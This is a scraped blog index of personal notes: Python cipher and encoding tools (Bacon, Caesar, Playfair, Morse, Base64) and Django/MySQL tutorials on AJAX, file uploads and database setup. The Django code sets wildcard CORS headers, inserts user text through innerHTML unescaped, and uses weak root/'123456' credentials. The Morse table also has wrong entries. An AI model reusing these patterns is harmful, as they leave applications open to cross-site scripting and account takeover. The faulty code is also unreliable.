['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']first_cipher = [\"aaaaa\",\"aaaab\",\"aaaba\",\"aaabb\",\"aabaa\",\"aabab\",\"aabba\",\"aabbb\",\"abaaa\",\"abaab\",\"ababa\",\"ababb\",\"abbaa\",\"abbab\",\"abbba\",\"abbbb\",\"baaaa\",\"baaab\",\"baaba\",\"baabb\",\"babaa\",\"babab\",\"babba\",\"babbb\",\"bbaaa\",\"bbaab\"]second_cipher = [\"aaaaa\",\"aaaab\",\"aaaba\",\"aaabb\",\"aabaa\",\"aabab\",\"aabba\",\"aabbb\",\"abaaa\",\"abaaa\",\"abaab\",\"ababa\",\"ababb\",\"abbaa\",\"abbab\",\"abbba\",\"abbbb\",\"baaaa\",\"baaab\",\"baaba\",\"baabb\",\"baabb\",\"babaa\",\"babab\",\"babba\",\"babbb\"]def encode(): upper_flag = False # 用于判断输入是否为大写 string = input(\"please input string to encode:\\n\") if string.isupper(): upper_flag = True string = string.lower() e_string1 = \"\" e_string2 = \"\" for index in string: for i in range(0,26): if index == alphabet[i]: e_string1 += first_cipher[i] e_string2 += second_cipher[i] break if upper_flag: e_string1 = e_string1.upper() e_string2 = e_string2.upper() print (\"first encode method result is:\\n\"+e_string1) print (\"second encode method result is:\\n\"+e_string2) returndef decode(): upper_flag = False # 用于判断输入是否为大写 e_string = input(\"please input string to decode:\\n\") if e_string.isupper(): upper_flag = True e_string = e_string.lower() e_array = re.findall(\".{5}\",e_string) d_string1 = \"\" d_string2 = \"\" for index in e_array: for i in range(0,26): if index == first_cipher[i]: d_string1 += alphabet[i] if index == second_cipher[i]: d_string2 += alphabet[i] if upper_flag: d_string1 = d_string1.upper() d_string2 = d_string2.upper() print (\"first decode method result is:\\n\"+d_string1) print (\"second decode method result is:\\n\"+d_string2) returnif __name__ == '__main__': while True: print (\"\\t*******Bacon Encode_Decode System*******\") print (\"input should be only lowercase or uppercase,cipher just include a,b(or A,B)\") print (\"1.encode\\n2.decode\\n3.exit\") s_number = input(\"please input number to choose\\n\") if s_number == \"1\": encode() input() elif s_number == \"2\": decode() input() elif s_number == \"3\": break else: continue Baconian 解密decode.py# -*- coding: utf-8 -*-import reclass Baconian(): alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] first_cipher = [\"aaaaa\", \"aaaab\", \"aaaba\", \"aaabb\", \"aabaa\", \"aabab\", \"aabba\", \"aabbb\", \"abaaa\", \"abaab\", \"ababa\", \"ababb\", \"abbaa\", \"abbab\", \"abbba\", \"abbbb\", \"baaaa\", \"baaab\", \"baaba\", \"baabb\", \"babaa\", \"babab\", \"babba\", \"babbb\", \"bbaaa\", \"bbaab\"] second_cipher = [\"aaaaa\", \"aaaab\", \"aaaba\", \"aaabb\", \"aabaa\", \"aabab\", \"aabba\", \"aabbb\", \"abaaa\", \"abaaa\", \"abaab\", \"ababa\", \"ababb\", \"abbaa\", \"abbab\", \"abbba\", \"abbbb\", \"baaaa\", \"baaab\", \"baaba\", \"baabb\", \"baabb\", \"babaa\", \"babab\", \"babba\", \"babbb\"] def __init__(self, str): self.str = str def decode(self): str = self.str.lower() str_array = re.findall(\".{5}\", str) decode_str1 = \"\" decode_str2 = \"\" for key in str_array: for i in range(0,26): if key == Baconian.first_cipher[i]: decode_str1 += Baconian.alphabet[i] if key == Baconian.second_cipher[i]: decode_str2 += Baconian.alphabet[i] print(decode_str1) print(decode_str2)if __name__ == '__main__': str = input() bacon = Baconian(str) bacon.decode()"},{"title":"","date":"2018-12-01T02:12:00.000Z","updated":"2022-05-10T01:49:00.000Z","comments":true,"path":"notes/Cryptography/Base.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Base","excerpt":"","text":"Base Python Base Base.pyimport base64def base64codes(): s = input() b64encode = base64.b64encode(s.encode(encoding='utf-8')) b32encode = base64.b32encode(s.encode(encoding='utf-8')) b16encode = base64.b16encode(s.encode(encoding='utf-8')) print(b64encode.decode(encoding='utf-8')) print(b32encode.decode(encoding='utf-8')) print(b16encode.decode(encoding='utf-8')) print('---------------------------------') try: b64decode = base64.b64decode(s.encode(encoding='utf-8')) print(b64decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\") try: b32decode = base64.b32decode(s.encode(encoding='utf-8')) print(b32decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\") try: b16decode = base64.b16decode(s.encode(encoding='utf-8')) print(b16decode.decode(encoding='utf-8')) except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: base64codes() except EOFError: exit()"},{"title":"","date":"2018-12-01T03:23:00.000Z","updated":"2022-05-10T01:50:00.000Z","comments":true,"path":"notes/Cryptography/BinaryConversion.html","permalink":"https://blog.mhuig.top/notes/Cryptography/BinaryConversion","excerpt":"","text":"BinaryConversion Python BinaryConversion Binary.py#coding:utf-8import reimport argparse def bintostr(text): text = text.replace(' ','') text = re.findall(r'.{8}',text) s = map(lambda x:chr(int(x,2)),text) #批量二进制转十进制 flag = ''.join(s) return (flag) def asciitostr(text): if ' ' in text: text = text.split(' ') elif ',' in text: text = text.split(',') s = map(lambda x:chr(int(x)),text) flag = ''.join(s) return flag def hextostr(text): text = re.findall(r'.{2}',text) #print text s = map(lambda x:chr(int(x,16)),text) #print s flag = ''.join(s) return flag if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument(\"-b\") parser.add_argument(\"-a\") parser.add_argument(\"-x\") argv = parser.parse_args() #print argv if argv.b: res = bintostr(argv.b) print (res) elif argv.a: res = asciitostr(argv.a) print (res) elif argv.x: res = hextostr(argv.x) print (res)"},{"title":"","date":"2018-12-01T03:49:00.000Z","updated":"2022-05-10T01:51:00.000Z","comments":true,"path":"notes/Cryptography/Caesar.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Caesar","excerpt":"","text":"Caesar Python Caesar Caesar.py#-*-coding:utf-8-*-import osdef encryption(): str_raw = input(\"请输入明文：\") k = int(input(\"请输入位移值：\")) str_change = str_raw.lower() str_list = list(str_change) str_list_encry = str_list i = 0 while i &lt; len(str_list): if ord(str_list[i]) &lt; 123-k: str_list_encry[i] = chr(ord(str_list[i]) + k) else: str_list_encry[i] = chr(ord(str_list[i]) + k - 26) i = i+1 print (\"加密结果为：\"+\"\".join(str_list_encry))def decryption(): str_raw = input(\"请输入密文：\") k = int(input(\"请输入位移值：(-1代表穷举)\")) if k==-1: print(\"解密结果为：\") for k in range(1,27): str_change = str_raw.lower() str_list = list(str_change) str_list_decry = str_list i = 0 while i &lt; len(str_list): if ord(str_list[i]) &gt;= 97+k: str_list_decry[i] = chr(ord(str_list[i]) - k) else: str_list_decry[i] = chr(ord(str_list[i]) + 26 - k) i = i+1 print (\"\".join(str_list_decry)) else: print(\"解密结果为：\") str_change = str_raw.lower() str_list = list(str_change) str_list_decry = str_list i = 0 while i &lt; len(str_list): if ord(str_list[i]) &gt;= 97+k: str_list_decry[i] = chr(ord(str_list[i]) - k) else: str_list_decry[i] = chr(ord(str_list[i]) + 26 - k) i = i+1 print (\"\".join(str_list_decry))def caesar(): print (u\"1. 加密\") print (u\"2. 解密\") choice = input(\"请选择：\") if choice == \"1\": encryption() elif choice == \"2\": decryption() else: print (u\"您的输入有误！\")if __name__ == '__main__': try: while True: caesar() except EOFError: exit()"},{"title":"","date":"2018-12-01T02:29:00.000Z","updated":"2022-05-10T01:51:00.000Z","comments":true,"path":"notes/Cryptography/MD5.html","permalink":"https://blog.mhuig.top/notes/Cryptography/MD5","excerpt":"","text":"MD5 Python MD5 MD5.pyimport hashlibclass MD5: def str(): str=input() m = hashlib.md5() m.update(str.encode('utf-8')) print (m.hexdigest()) def filebin(): src=input() f = open(src, 'rb') f_md5 = hashlib.md5() f_md5.update(f.read()) print (f_md5.hexdigest()) def file(): src=input() f = open(src, 'r') f_md5 = hashlib.md5() f_md5.update(f.read().encode('utf-8')) print (f_md5.hexdigest()) if __name__=='__main__': try: while True: MD5.filebin() except EOFError: exit()"},{"title":"","date":"2018-12-01T02:52:00.000Z","updated":"2022-05-10T01:52:00.000Z","comments":true,"path":"notes/Cryptography/Morse.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Morse","excerpt":"","text":"Morse Python Morse Morse.py# -*- coding:utf-8 -*-def Morse(): try: s = input() codebook = { 'A':\".-\", 'B':\"-...\", 'C':\"-.-.\", 'D':\"-..\", 'E':\".\", 'F':\"..-.\", 'G':\"--.\", 'H':\"....\", 'I':\"..\", 'J':\".---\", 'K':\"-.-\", 'L':\".-..\", 'M':\"--\", 'N':\"-.\", 'O':\"---\", 'P':\".--.\", 'Q':\"--.-\", 'R':\".-.\", 'S':\"...\", 'T':\"-\", 'U':\"..-\", 'V':\".--\", 'W':\".--\", 'X':\"-..-\", 'Y':\"-.--\", 'Z':\"--..\", '1':\".----\", '2':\"..---\", '3':\"...---\", '4':\"....-\", '5':\".....\", '6':\"-....\", '7':\"--...\", '8':\"---..\", '9':\"----.\", '0':\"-----\", '.':\".━.━.━\", '?':\"..--..\", '!':\"-.-.--\", '(':\"-.--.\", '@':\".--.-.\", ':':\"---...\", '=':\"-...-\", '-':\"-....-\", ')':\"-.--.-\", '+':\".-.-.\", ',':\"--..--\", '\\'':\".----.\", '_':\"..--.-\", '$':\"...-..-\", ';':\"-.-.-.\", '/':\"-..-.\", '\\\"':\".-..-.\", } clear = \"\" cipher = \"\" while 1: ss = s.split(\" \"); for c in ss: for k in codebook.keys(): if codebook[k] == c: cipher+=k print(cipher) break; except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: Morse() except EOFError: exit()"},{"title":"","date":"2018-12-01T05:29:00.000Z","updated":"2022-05-10T01:53:00.000Z","comments":true,"path":"notes/Cryptography/Playfair.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Playfair","excerpt":"","text":"Playfair Python Playfair Playfair.py#########################Playfair密码##########################约定1：若明文字母数量为奇数，在明文末尾添加一个'Z'#约定2：'I'作为'J'来处理#字母表letter_list='ABCDEFGHJKLMNOPQRSTUVWXYZ'#密码表T_letter=['','','','','']#根据密钥建立密码表def Create_Matrix(key): key=Remove_Duplicates(key) #移除密钥中的重复字母 key=key.replace(' ','') #去除密钥中的空格 for ch in letter_list: #根据密钥获取新组合的字母表 if ch not in key: key+=ch j=0 for i in range(len(key)): #将新的字母表里的字母逐个填入密码表中，组成5*5的矩阵 T_letter[j]+=key[i] #j用来定位字母表的行 if 0==(i+1)%5: j+=1#移除字符串中重复的字母def Remove_Duplicates(key): key=key.upper() #转成大写字母组成的字符串 _key='' for ch in key: if ch=='I': ch='J' if ch in _key: continue else: _key+=ch return _key #获取字符在密码表中的位置def Get_MatrixIndex(ch): for i in range(len(T_letter)): for j in range(len(T_letter)): if ch==T_letter[i][j]: return i,j #i为行，j为列 #加密def Encrypt(plaintext,T_letter): ciphertext='' if len(plaintext) % 2 !=0: #如果新的明文长度为奇数，在其末尾添上'Z' plaintext+='Z' i=0 while i&lt;len(plaintext): #对明文进行遍历 if True==plaintext[i].isalpha(): #如果是明文是字母的话， j=i+1 #则开始对该字母之后的明文进行遍历， while j&lt;len(plaintext): #直到遍历到字母，进行加密 if True==plaintext[j].isalpha(): if 'I'==plaintext[i].upper(): # x=Get_MatrixIndex('J') # else: # x=Get_MatrixIndex(plaintext[i].upper()) #对字符在密码表中的坐标 if 'I'==plaintext[j].upper(): #进行定位,同时将'I'作为 y=Get_MatrixIndex('J') #'J'来处理 else: # y=Get_MatrixIndex(plaintext[j].upper()) # if x[0]==y[0]: #如果在同一行 ciphertext+=T_letter[x[0]][(x[1]+1)%5]+T_letter[y[0]][(y[1]+1)%5] elif x[1]==y[1]: #如果在同一列 ciphertext+=T_letter[(x[1]+1)%5][x[0]]+T_letter[(y[1]+1)%5][y[0]] else: #如果不同行不同列 ciphertext+=T_letter[x[0]][y[1]]+T_letter[y[0]][x[1]] break; #每组明文对加密完成后，结束本次对明文的遍历 j+=1 i=j+1 #每次对明文的遍历是从加密过后的明文的后一个明文开始的,结束本次循环 continue else: ciphertext+=plaintext[i] #如果明文不是字母，直接加到密文上 i+=1 return ciphertext #解密def Decrypt(ciphertext,T_letter): plaintext='' if len(ciphertext) % 2 !=0: #如果新的密文长度为奇数，在其末尾添上'Z' ciphertext+='Z' i=0 while i&lt;len(ciphertext): #对密文进行遍历 if True==ciphertext[i].isalpha(): #如果是密文是字母的话， j=i+1 #则开始对该字母之后的密文进行遍历， while j&lt;len(ciphertext): #直到遍历到字母，进行解密 if True==ciphertext[j].isalpha(): if 'I'==ciphertext[i].upper(): # x=Get_MatrixIndex('J') # else: # x=Get_MatrixIndex(ciphertext[i].upper()) #对字符在密码表中的坐标 if 'I'==ciphertext[j].upper(): #进行定位,同时将'I'作为 y=Get_MatrixIndex('J') #'J'来处理 else: # y=Get_MatrixIndex(ciphertext[j].upper()) # if x[0]==y[0]: #如果在同一行 plaintext+=T_letter[x[0]][(x[1]-1)%5]+T_letter[y[0]][(y[1]-1)%5] elif x[1]==y[1]: #如果在同一列 plaintext+=T_letter[(x[1]-1)%5][x[0]]+T_letter[(y[1]-1)%5][y[0]] else: #如果不同行不同列 plaintext+=T_letter[x[0]][y[1]]+T_letter[y[0]][x[1]] break; #每组密文对解密完成后，结束本次对密文的遍历 j+=1 i=j+1 #每次对密文的遍历是从解密过后的密文的后一个密文开始的,结束本次循环 continue else: plaintext+=ciphertext[i] #如果密文不是字母，直接加到明文上 i+=1 return plaintext #主函数if __name__=='__main__': print(\"加密请按D,解密请按E:\") user_input=input(); while(user_input!='D' and user_input!='E'):#输入合法性检测 print(\"输入有误!请重新输入:\") user_input=input() print('请输入密钥，密钥由英文字母组成:') key=input() Create_Matrix(key) #建立密码表 if user_input=='D': #加密 print('请输入明文:') plaintext=input() print(\"密文为:\\n%s\" % Encrypt(plaintext,T_letter)) else: #解密 print('请输入密文:') ciphertext=input() print('明文为:\\n%s' % Decrypt(ciphertext,T_letter))"},{"title":"","date":"2018-12-01T06:39:00.000Z","updated":"2022-05-10T01:54:00.000Z","comments":true,"path":"notes/Cryptography/QRcode.html","permalink":"https://blog.mhuig.top/notes/Cryptography/QRcode","excerpt":"","text":"QRcode Python QRcode 加密enQRcode.pyimport qrcodeimport osimport sysimport time#pip install zxing解析库，还需要安装PIL，pillow和qrCode库QRImagePath = os.getcwd() + '/qrcode.png' #临时存储位置qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=2,) #设置图片格式print(\"input:QRcode image:\")data = input() #运行时输入数据qr.add_data(data)qr.make(fit=True)img = qr.make_image()img.save('qrcode.png') #生成图片 if sys.platform.find('darwin') &gt;= 0: os.system('open %s' % QRImagePath) elif sys.platform.find('linux') &gt;= 0: os.system('xdg-open %s' % QRImagePath)else: os.system('call %s' % QRImagePath) time.sleep(5) #间隔5个单位#os.remove(QRImagePath) #删除图片 解密deQRcode.pyimport osimport loggingfrom PIL import Imageimport zxing #导入解析包import randomlogger = logging.getLogger(__name__) #记录数据if not logger.handlers: logging.basicConfig(level = logging.INFO)DEBUG = (logging.getLevelName(logger.getEffectiveLevel()) == 'DEBUG') #记录调式过程# 在当前目录生成临时文件，规避java的路径问题def ocr_qrcode_zxing(filename): img = Image.open(filename) ran = int(random.random() * 100000) #设置随机数据的大小 img.save('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) zx = zxing.BarCodeReader() #调用zxing二维码读取包 data = '' zxdata = zx.decode('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) #图片解码# 删除临时文件 os.remove('%s%s.jpg' % (os.path.basename(filename).split('.')[0], ran)) if zxdata: logger.debug(u'zxing识别二维码:%s,内容: %s' % (filename, zxdata)) data = zxdata else: logger.error(u'识别zxing二维码出错:%s' % (filename)) img.save('%s-zxing.jpg' % filename) return data #返回记录的内容if __name__ == '__main__': print(\"input:QRcode path:\") filename = input() # zxing二维码识别 ltext = ocr_qrcode_zxing(filename) #将图片文件里的信息转码放到ltext里面 logger.info(u'[%s]Zxing二维码识别:[%s]!!!' % (filename, ltext)) #记录文本信息 print(ltext) #打印出二维码名字"},{"title":"","date":"2018-12-01T07:59:00.000Z","updated":"2022-05-10T01:55:00.000Z","comments":true,"path":"notes/Cryptography/RailFenceCipher.html","permalink":"https://blog.mhuig.top/notes/Cryptography/RailFenceCipher","excerpt":"","text":"RailFenceCipher Python RailFenceCipher RailFenceCipher.py#coding=utf-8def railFenceCipher(): e = input() elen = len(e) field=[] for i in range(2,elen): if(elen%i==0): field.append(i) for f in field: b = int(elen / f) result = {x:'' for x in range(b)} for i in range(elen): a = i % b; result.update({a:result[a] + e[i]}) d = '' for i in range(b): d = d + result[i] print (d.lower())if __name__ == '__main__': try: while True: railFenceCipher() except EOFError: exit()"},{"title":"","date":"2022-05-10T01:45:00.000Z","updated":"2022-05-10T01:45:00.000Z","comments":true,"path":"notes/Cryptography/index.html","permalink":"https://blog.mhuig.top/notes/Cryptography/","excerpt":"","text":".fa-secondary{opacity:.4} Cryptography Cryptography .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T07:11:00.000Z","updated":"2022-05-12T11:50:00.000Z","comments":true,"path":"notes/Django/ajax.html","permalink":"https://blog.mhuig.top/notes/Django/ajax","excerpt":"","text":"Django 发布动态内容 Django 将发布内容动态显示到页面上 将发布内容动态显示到页面上在 settings.py 中配置TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR,\"Templates\")], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django.template.context_processors.media', # 新添加的 ], }, },]#已经配置过的MEDIA_URL = '/media/'MEDIA_ROOT = os.path.join(BASE_DIR,'media') 在 urls.py 中配置路由from tour.settings import MEDIA_ROOTfrom django.views.static import serve #注意包不能导错urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^media/(?P&lt;path&gt;.*)/$', serve, {\"document_root\": MEDIA_ROOT}),#加载media文件的时候需要的路由 url(r\"^gettour\",views.gettour),#获取tour.html页面的路由 url(r\"^sendtour\",views.sendTour),#发布动态的路由] 在 views.py 文件中创建 sendTour 的函数def sendTour(request): try: #从请求中将表单中的数据取出，并且存储到数据库中 tour = Tour() tour.username= request.POST.get(\"username\") tour.times = request.POST.get(\"times\") tour.sendtime = request.POST.get(\"sendtime\") tour.sendtxt = request.POST.get(\"sendtxt\") tour.phonename = request.FILES.get(\"imgfile\") tour.musicname = request.FILES.get(\"musicfile\") tour.save() #若存储成功，则将对象转为字典 tourdict = {\"code\":\"1\",\"username\":tour.username,\"times\":tour.times, \"sendtime\":tour.sendtime,\"phonename\":tour.phonename.url ,\"musicname\":tour.musicname.url,\"sendtxt\":tour.sendtxt} # 再字典转为json字符串，返回到前端页面中 response = HttpResponse(json.dumps(tourdict)) except Exception as e: print(e) response = HttpResponse(json.dumps({'code': \"0\"})) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 在前端页面中添加函数function sendData(){//选中dataform表单对其进行格式化处理var dataform = new FormData($(\"#datafrom\")[0])console.log(dataform)var user = document.getElementById(\"user\").innerHTML; //将数据追加到表单中 dataform.append(\"username\",user)var dates = new Date()var y = dates.getFullYear()var m = dates.getMonth() + 1var d = dates.getDate()dataform.append(\"sendtime\",y+\"/\"+m+\"/\"+d)//追加一个时间戳dataform.append(\"times\",dates.getTime())$.ajax({ type:\"post\", url:\"http://127.0.0.1:9000/sendtour\", data:dataform, async:true, dataType:\"json\", timeout:5000, cache:false, //提交表单的时候需要的参数 contentType:false, processData:false, success:function(data){//请求成功的时候返回的参数 alert(data) if(data.code==\"1\"){//判断数据是否成功存入数据库 alert(\"发布成功\") // 将我们返回的数据显示到页面上来 addhistory(data) } if(data.code==\"0\"){//数据没存储成功，则显示发布失败！ alert(\"发布失败\") } }, error:function(){ alert(\"请求异常\") }})}//将得到的数据动态的添加到html页面中function addhistory(data) { //打印data数据console.log(data) //找到存放li的大盒子var $ul = document.getElementById(\"ulitem\"); //创建一个livar $li = document.createElement(\"li\")//将li添加到ul中$ul.appendChild($li) //给li添加一个class属性$li.className = \"item\"; //给li添加标签$li.innerHTML = '&lt;img class=\"item-img\" src=\"'+data.phonename+'\"/&gt;' + '&lt;div class=\"item-right\"&gt;' + '&lt;a class=\"delete\" href=\"#\"&gt;删除&lt;/a&gt;' + '&lt;p class=\"itemtxt\"&gt;'+data.sendtxt+'&lt;/p&gt;'+ '&lt;div class=\"userbox\"&gt;&lt;img class=\"icon-img\" src=\"/static/img/a1.png\"/&gt; ' + '&lt;span class=\"username\"&gt;'+data.username+'&lt;/span&gt;&lt;span class=\"sendtime\"&gt;'+data.sendtime +'&lt;/span&gt;&lt;/div&gt;' + '&lt;div&gt;&lt;a class=\"musicname\" href=\"#\"&gt;'+data.musicname+'&lt;/a&gt;&lt;/div&gt;' + '&lt;/div&gt;'}"},{"title":"","date":"2019-09-22T07:12:00.000Z","updated":"2022-05-12T11:51:00.000Z","comments":true,"path":"notes/Django/form.html","permalink":"https://blog.mhuig.top/notes/Django/form","excerpt":"","text":"Django 带文件的表单上传 Django 带文件的表单上传 带文件的表单上传首先在表单 form 中必须要添加这个属性enctype=\"multipart/form-data\" 然后在 js 中添加下列代码 //选中需要上传的表单，并且进行格式化处理var formData=new FormData($(\"#formdata\")[0]);console.log(formData)//获取用户名var user=document.getElementById(\"username\").innerHTML;var date=new Date();var month=date.getMonth()+1;//把数据追加到表单formData.append(\"username\",user);formData.append(\"date\",date.getFullYear()+\"-\"+month+\"-\"+date.getDate());formData.append(\"sign\",date.getTime());$.ajax({ type:\"post\", url:\"http://127.0.0.1:8000/tour/sendDay\", async:true, data:formData, timeout:5000, dataType:\"json\", cache:false, //提交表单必须增加的属性 contentType:false, processData:false, success:function(data){ alert(data); console.log(data) if(data.code == \"1\") { alert(\"发布成功\") } if(data.code == \"2\"){ alert(\"发布失败\") } }, error:function(xhr,textState){ alert(\"请求失败！\") }}); 在 models 中添加以下类class Tours(models.Model): username = models.CharField(max_length=20) date = models.CharField(max_length=20) times = models.CharField(max_length=100) desc = models.CharField(max_length=255) photoname = models.FileField(upload_to=\"photo\",null=True,blank=True) musicname = models.FileField(upload_to=\"music\",null=True,blank=True) isDelete = models.BooleanField(default=False) 在 settings.py 文件中添加如下代码MEDIA_URL = '/media/'MEDIA_ROOT = os.path.join(BASE_DIR,'media') 在 urls.py 文件中创建路由from django.views.static import servefrom App import viewsfrom tourdemo import settingsfrom tourdemo.settings import MEDIA_ROOTurlpatterns = [ url(r'^admin/', admin.site.urls), url(r\"^tour/sendDay\",views.tourSendDay), #加载media文件需要的路由 url(r'^media/(?P&lt;path&gt;.*)/$', serve, {\"document_root\": MEDIA_ROOT}),] 在 views.py 文件中添加 tourSendDay 函数def tourSendDay(request): try: tour = Tours() username = request.POST.get(\"username\") tour.username = username date = request.POST.get(\"date\") tour.date = date times = request.POST.get(\"sign\") tour.times = times music = request.FILES.get(\"music\") tour.musicname = music img = request.FILES.get(\"photo\") tour.photoname = img desc = request.POST.get(\"desc\") # print(desc) tour.desc = desc # print(\"desc\",tour.desc) tour.save() tourdic = {\"code\":\"1\",\"id\": tour.id, \"photoname\": tour.photoname.url, \"musicname\": tour.musicname.url, \"times\": tour.times, \"username\": tour.username, \"date\": tour.date, \"desc\": tour.desc} response = HttpResponse(json.dumps(tourdic)) except Exception as e: print(e) response = HttpResponse(json.dumps({\"code\": \"2\"})) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 注意若出现存储中文失败则需要在创建的的时候指定编码格式create database tourdb charset='utf8';"},{"title":"","date":"2022-05-12T11:31:00.000Z","updated":"2022-05-12T11:31:00.000Z","comments":true,"path":"notes/Django/index.html","permalink":"https://blog.mhuig.top/notes/Django/","excerpt":"","text":".fa-secondary{opacity:.4} Django Django .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T07:04:00.000Z","updated":"2022-08-09T09:36:00.000Z","comments":true,"path":"notes/Django/mysql.html","permalink":"https://blog.mhuig.top/notes/Django/mysql","excerpt":"","text":"MySQL mysql 的使用 mysql 的简单配置使用 免安装版本 下载免安装版本下载地址： https://dev.mysql.com/downloads/mysql/ 解压解压 mysql 压缩包【记得解压的文件路径】 进行环境变量的配置我的电脑–&gt; 属性 —&gt; 高级环境变量设置–&gt; 找到 path –&gt; 新建–&gt; 将 mysql 的路径【bin 的路径】直接复制粘贴 配置文件初始化创建配置文件，命名为 my.ini，内容如下 [mysql]# 设置mysql客户端默认字符集default-character-set=utf8[mysqld]interactive_timeout=28800000wait_timeout=28800000# 设置3306端口port = 3306# 设置mysql的安装目录basedir=C:\\software\\mysql-8.0.30-winx64\\bin# 设置mysql数据库的数据的存放目录datadir=C:\\software\\mysql-8.0.30-winx64\\data# 允许最大连接数max_connections=200# 设置mysql服务端默认字符集character-set-server=utf8# 创建新表时将使用的默认存储引擎default-storage-engine=INNODB 安装 mysql 服务，输入 mysqld -install 初始化 mysql，输入以下命令，mysql 目录下会生成 data 文件夹 mysqld --initialize 如果没有生成 data 文件夹，则使用以下命令 mysqld --initialize-insecure --user=mysql 启动数据库启动 mysql net start mysql 打开 mysql 根目录下的 data 文件夹，找到后缀是.err 的文件以文本打开找到 password 临时密码 设置密码 mysqladmin -u root -p password 要停止 mysql 服务，使用命令 net stop mysql 连接数据库mysql -u root -p root【默认密码】 数据库连接成功之后，可以查看数据库show databases; //查看数据库use 数据库名; //使用某个指定的数据库show tables; //查看所有的表create database 数据库名; //创建数据库drop database 数据库名; //删除数据库 navicat 连接 mysql 时报错 1251 怎么办新安装的 mysql8，使用破解版的 navicat 连接的时候一直报错 1251 发现是 mysql8 之前的版本中加密规则是 mysql_native_password，而在 mysql8 之后，加密规则是 caching_sha2_password。 解决问题方法有两种， 一种是升级 navicat 驱动； 一种是把 mysql 用户登录密码加密规则还原成 mysql_native_password。 进入 mysql 加密规则还原成 mysql_native_password ALTER USER 'root'@'localhost' IDENTIFIED BY 'password' PASSWORD EXPIRE NEVER;ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'MY NEW PASSWORD';FLUSH PRIVILEGES; 权限select host,user,authentication_string from mysql.user;create user \"toor\"@\"%\" identified by \"123456\";create database mydb charset='utf8';grant all privileges on `mydb`.* to 'toor'@'%' ;drop user \"toor\"@\"%\";insert into mysql.user(Host,User,authentication_string) values('%','toor',password('123456'));SET PASSWORD FOR 'toor'@'%' = PASSWORD(\"123456\");"},{"title":"","date":"2019-09-22T07:07:00.000Z","updated":"2022-05-12T11:41:00.000Z","comments":true,"path":"notes/Django/pymysql.html","permalink":"https://blog.mhuig.top/notes/Django/pymysql","excerpt":"","text":"mysql 与 pymysql 的设置 mysql 与 pymysql 的设置 mysql 与 pymysql 的设置 保证 mysql 已经安装成功 使用终端在 mysql 中创建一个数据库 mysql -u root -p#连接数据库mysql&gt; show databases;#查看当前数据库mysql&gt; create database tour;#创建数据库 tour：数据库名，可以自己命名 找到 setting.py 文件，并在添加如下代码 DATABASES = { 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 'ENGINE': 'django.db.backends.mysql', 'NAME': 'tour', #数据库名字 \"USER\":\"root\", #数据库用户名 \"PASSWORD\":\"root\", #数据库的密码 \"HOST\":\"127.0.0.1\", #ip地址 \"PORT\":\"3306\",# 端口号 }} 注意：在使用数据库的时候，必须保证数据库的服务是开启的状态 net start mysql 找到 mysql 的安装地址，找到 bin 文件夹，到 bin 文件夹下面找到 mysqld.exe，双击执行 到与 setting.py 同目录的__init__.py 文件下，添加以下代码 import pymysqlpymysql.install_as_MySQLdb() 注意 若没有安装 pymysql 模块，则会报错，需要将 pymsql 模块安装 1. 使用 pycharm 安装2. 使用 pip 安装 pip install pymsql 当项目创建之后，配置完成之后，我们执行一下迁移【因为只有执行迁移的时候，才会在数据库中生成表】 python manage.py migrate 需要在 models.py 文件中创建一个类，并且这个类必须要继承 models.Model class User(models.Model): username = models.CharField(max_length=20) password = models.CharField(max_length=20) #CharField 指定字段的类型 #max_length 指定字段的最大长度 生成迁移文件 python manage.py makemigrations 执行迁移文件 python manage.py migrate"},{"title":"","date":"2019-09-22T07:06:00.000Z","updated":"2022-05-12T11:41:00.000Z","comments":true,"path":"notes/Django/setting.html","permalink":"https://blog.mhuig.top/notes/Django/setting","excerpt":"","text":"Django 的环境配置 Django 的环境配置 Django 的环境配置python 环境是 ok 的pip 是可用的 pip 用来安装第三方包的 创建虚拟环境【可以先不写】 linux/mac windows 安装 Django pip install django==1.11.7 django 安装成功之后，创建项目 创建项目之前首先新建一个目录【文件夹】 进入这个目录之后执行 django-admin startproject projectname#django-admin startproject 项目名 使用 pycharm 打开项目的时候，要在 manage.py 的上一级打开 manage 所在的文件夹 当进入 pychram 之后，我们可以使用自带终端来创建 apppython manage.py startapp appname 当 app 创建完成之后，需要在 setting.py 文件中配置INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', \"App\",#添加我们创建的app] 在 